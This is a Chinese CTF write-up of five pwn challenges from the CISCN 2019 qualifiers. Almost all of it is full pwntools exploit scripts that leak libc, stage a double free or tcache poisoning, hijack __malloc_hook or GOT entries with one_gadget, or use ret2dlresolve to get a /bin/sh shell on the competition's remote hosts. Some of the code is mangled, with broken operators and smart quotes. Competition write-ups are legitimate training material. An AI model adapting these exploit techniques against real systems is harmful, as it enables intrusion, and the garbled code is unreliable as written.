CISCN_2019_Qual
PWN部分 除了VM
Sart
- 一共6题pwn题 只解出5题
- PWN题总体来说除了我不会做的难度不大.从分数看来相比去年各个战队对pwn题的重视程度普遍提高
- 无奈从没pwn过VM最后一题挣扎了半天也没什么效果等其他队伍wp出来了再好好学习一波
your_pwn
热身签到题,随便看,随便改. 无奈我太慌张了脑子一热居然上手就泄露canary… 泄漏完了就在想我是谁我在干什么.. 正确的做法是泄露libc 将返回地址改成one就可以了… 不想改exp直接放我那个傻逼exp把.. ```python from pwn import * #p=process(‘./pwn’) p=remote(“39.106.224.151”,57856) name=”n132” p.sendlineafter(“name:”,name) for x in range(7): p.sendlineafter(“index\n”,str(0x149+6-x)) p.readuntil(“(hex) “) re=int(“0x”+p.readline()[:-1],16) re=re&0xff canary=re+canary*0x100
p.sendlineafter(“value\n”,str(re))
base=0
for x in range(6): p.sendlineafter(“index\n”,str(0x278+5-x)) p.readuntil(“(hex) “) re=int(“0x”+p.readline()[:-1],16) re=re&0xff base=re+base0x100 p.sendlineafter(“value\n”,str(re)) base=base-(0x7ffff7a2d830-0x00007ffff7a0d000) log.info(hex(base)) tmp=0 one=0x45216+base log.info(hex(one)) l=[0xff0000000000,0xff00000000,0xff000000,0xff0000,0xff00,0xff] for x in range(6): p.sendlineafter(“index\n”,str(0x278+5-x)) p.readuntil(“(hex) “) re=int(“0x”+p.readline()[:-1],16) re=re&0xff base=re+base0x100 p.sendlineafter(“value\n”,str((one&l[x])»(8*(5-x)))) context.log_level=’debug’ for x in range(22): p.sendlineafter(“index\n”,str(0)) p.sendlineafter(“value\n”,str(0)) p.sendlineafter(“es/no)? “,”no”) p.sendline(token) p.interactive()
# daily
这种题之前没见过
一开始思路错了...还以为是`house of spirite`...
幸亏一边写exp一遍想...发现`double free`更快...
也比较简单幸亏手速够快拿了个2血
## analysis
checksec
```python
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
- 没开
pie
感觉自己有被迫害恐惧症…每次没开pie
都没注意都以为题目开了pie
做到一半才想起来 - 存在show,没有末尾加截断可以泄露libc,heap
- free idx没有检查可以free任意地址上的指针.
思路
- 泄露libc,heap
- heap上留指向某chunk的指针
- double free
exp
```python from pwn import * def cmd(c): p.sendlineafter(“ice:”,str(c)) def add(size,c=’A’): cmd(2) p.sendlineafter(“ily:”,str(size)) p.sendafter(“daily\n”,str(c)) def show(): cmd(1) def free(idx): cmd(4) p.sendlineafter(“ily:”,str(idx)) def edit(idx,c): cmd(3) p.sendlineafter(“ily:”,str(idx)) p.sendafter(“daily\n”,str(c)) context.log_level=’debug’ #p=process(‘./p2’) p=remote(“39.106.224.151”,58512) add(0x88,”A”)#0 add(0x18,”B”)#1 free(0) add(0x88,”A”)#0 show() p.readuntil(“0 : “) base=u64(p.read(6).ljust(8,’\x00’))-(0x7ffff7dd1b41-0x00007ffff7a0d000)
add(0x18,”A”)#2 free(1) free(2) add(0x18,”A”)#1 show() p.readuntil(“1 : “) heap=u64(p.readuntil(“=”)[:-1].ljust(8,’\x00’))-0x41
add(0x18,p64(0x68)+p64(heap+0xd0+0x10))#2 add(0x68,”A”)#3 add(0x68,’A’)#4 free(3) free(4) idx=(heap+0xa0-0x0602060)//16 free(idx) libc=ELF(“/lib/x86_64-linux-gnu/libc-2.23.so”) libc.address=base add(0x68,p64(libc.symbols[‘__malloc_hook’]-35))#3 add(0x68)#4 add(0x68)#5 one=0xf02a4 add(0x68,’\x00’*19+p64(one+base)) free(3) free(5) log.warning(hex(base)) log.warning(hex(heap)) #gdb.attach(p,’b *0x000000000400C16’)
p.interactive()
# baby_pwn
...这题就不敢恭维了..
这题我在前几天的[博客里][1]刚总结过...差不多的..这里不多说
结果本菜鸡 bss设置错误导致我弄了1小时45分才做出来...
## 经验
* dl的题目变化不大 特点是没有leak 有溢出
* 照着上次总结的模板改就可以
* 如果调试有问题先换换bss看看能不能运行过前面一些基本地址获取
* 注意是否可以获得符号`<_dl_fixup+166> add eax, dword ptr [ebx]`此条过后eax应该指向`fake_strtab`的`system`
```python
from pwn import *
context.log_level='debug'
context.arch='i386'
#p=process('./pwn')
p=remote("39.97.227.64",56833)
got=0x804a00c
read=0x8048390
rbp=0x080485db
ppp=0x080485d9
ret=0x080481ab
bss=0x0804a810
plt0=0x8048380
strtab=0x804827c
dynsym=0x80481dc
dynrel=0x804833c#plt
p2=flat(
[got,0x07+(((bss+0x10-dynsym)/0x10)<<8)],bss+0x28-0x804827c,bss+0x28-0x804827c,# DYN_REL & ALAIGN
[bss+0x28-strtab,0x12,0,0,0,0],#DYNSYM
)+"system\x00\x00"+"/bin/sh\x00"#DYNSTR
payload="\00"*0x28+p32(0)+p32(read)+p32(ppp)+p32(0)+p32(bss)+p32(0x597)+p32(plt0)+p32(bss-dynrel)+p32(bss+0x30)*2
p.send(payload)
#gdb.attach(p,'')
sleep(1)
p.send(p2)
p.interactive()
double
这题放的比bms晚几秒…导致我直接上手bms错过了竞争这题的前几血的机会… 这题主要是逆向逆清楚了就知道了…虽然我当时心里急没咋逆清楚就上手了…就是调着调着就出来了
Analysis
- 存在show但是每次输入被截断
- 没开
pie
,链表结构储存chunk - 内容相同的话不再创建新的内容chunk而是直接指向#这里我没逆清楚我只知道 空状况下
add(A) add(A) add(B) free(0) free(2) free(1)
造成double free
不过也够用了 edit
里用的是memncpy
不会被0截断,add
里面用的是strncpy
会被截断…这个卡了我好久..一直以为都是strncpy
思路
double free
控制bss
盖掉head_ptr
指向bss
上区域(因为我们不知道其他address
)edit
上去一个fake_chunk
其中的ptr
指向got
用来泄露show to leak
edit to hijacking
exp
from pwn import * #context.log_level='debug' def cmd(c): p.sendlineafter("> ",str(c)) def add(size,data="A"): cmd(1) p.sendlineafter("data:\n",data.ljust(size,'\x00')) def show(idx): cmd(2) p.sendlineafter("dex: ",str(idx)) def edit(idx,c,size): cmd(3) p.sendlineafter("dex: ",str(idx)) p.sendline(c.ljust(size,'\x00')) def free(idx): cmd(4) p.sendlineafter("dex: ",str(idx)) p=process('./pwn') #p=remote("39.106.224.151",40002) add(0x67,'A')#0 add(0x67,"A")#1 add(0x67,'B')#2 add(0x17,'K')#3 free(0) free(2) free(1) free(3) add(0x67,p64(0x4040bd)) add(0x67,"B") add(0x67,"C") add(0x17,"A"*8+p64(0x000000000404018)) add(0x67,"AAA") edit(0,"AAA"+p64(0x4040e0)*2+p64(0x6700000000)+p64(0x000000000404018),0x67) show(0) libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so") base=u64(p.readline()[:-1].ljust(8,'\x00'))-(0x7ffff7a914f0-0x7ffff7a0d000) libc.address=base # add(0x17,"/bin/sh") edit(0,p64(libc.symbols['system']),8) log.warning(hex(base)) free(1) p.interactive()#
bms
前面部分是让我逆向队友做的不太清楚他就说啥被耍了什么的… 最坑的一道题,充分诠释了
做题5分钟,环境2小时
… 一开始以为是2.23
搞了半天利用控制bss
不停清空,unsorted bin atk + partial write
本地不开aslr
可以了开了1/4096
…然后打了半天没反应.. 菜鸡的我完全没注意到群里面的公告…于是改变思路ubuntu18.04+libc2.27
.8min完成exp(虽然是1/256
不想改了..注意布局应该可以优化到1/16
)…结果远程还是不行… 换成ubuntu17.10+libc.26
..之前没有这个环境从0开始下了一个..迅雷真坑… 终于打通.Analysis
题目在
tcache
下没啥难度就是简单的stdout_flag_leak
可以看看之前的一题HITCONE2018_babytcacheexp
from pwn import *
def login():
pass
def c(c):
p.sendlineafter(">",str(c))
def ADD(size,des='A',name="\x00"*6):
c(1)
p.sendafter("name:",name)
p.sendlineafter("size",str(size))
p.sendafter("tion:",des)
def cmd(c):
p.sendlineafter(">\n",str(c))
def add(size,des='A',name="\x00"*6):
cmd(1)
p.sendafter("name:",name)
p.sendlineafter("size",str(size))
p.sendafter("tion:",des)
def free(idx):
cmd(2)
p.sendlineafter("index:",str(idx))
def FREE(idx):
c(2)
p.sendlineafter("index:",str(idx))
#context.log_level='debug'
#p=process('./pwn')
p=remote("90b826377a05d5e9508314e76f2f1e4e.kr-lab.com",40001)
p.sendlineafter("name:","admin")
p.sendlineafter("d:","frame")
#libc=ELF("libc-2.27.so")
add(0x68)#0
add(0x88)#1
add(0x28)#2
for x in range(8):
free(1)
for x in range(7):
free(2)
add(0x68,'\x20\x17')#3
free(0)
free(0)
add(0x68,'\x60\x35')#4icqf9be91c5a02ae0371b8d1bd5f06d7
add(0x68)#5
add(0x58)#6
free(6)
free(6)
add(0x58,p64(0x602060))
add(0x58)
add(0x58,p64(0)*10)
add(0x68)#0
add(0x68,p64(0xfbad1800)+p64(0)*3+'\x00')#1
p.read(8)
p.read(8)
p.read(8)
base=u64(p.read(8))-(0x7ffff7bad3e0-0x7ffff77d6000)
if base&0xfff!=0:
p.close()
ADD(0x97,"A")#2
FREE(2)
FREE(2)
#gdb.attach(p)
log.warning(hex(base))
ADD(0x97,p64(0x3dac10+base))
ADD(0x97)
one=0xfdb8e
ADD(0x97,p64(one+base))
c(1)
p.interactive()
Review
题目难度总体不大… 不会逆向 的pwn手不是好pwn手 不会虚拟机 的pwn手不是好pwn手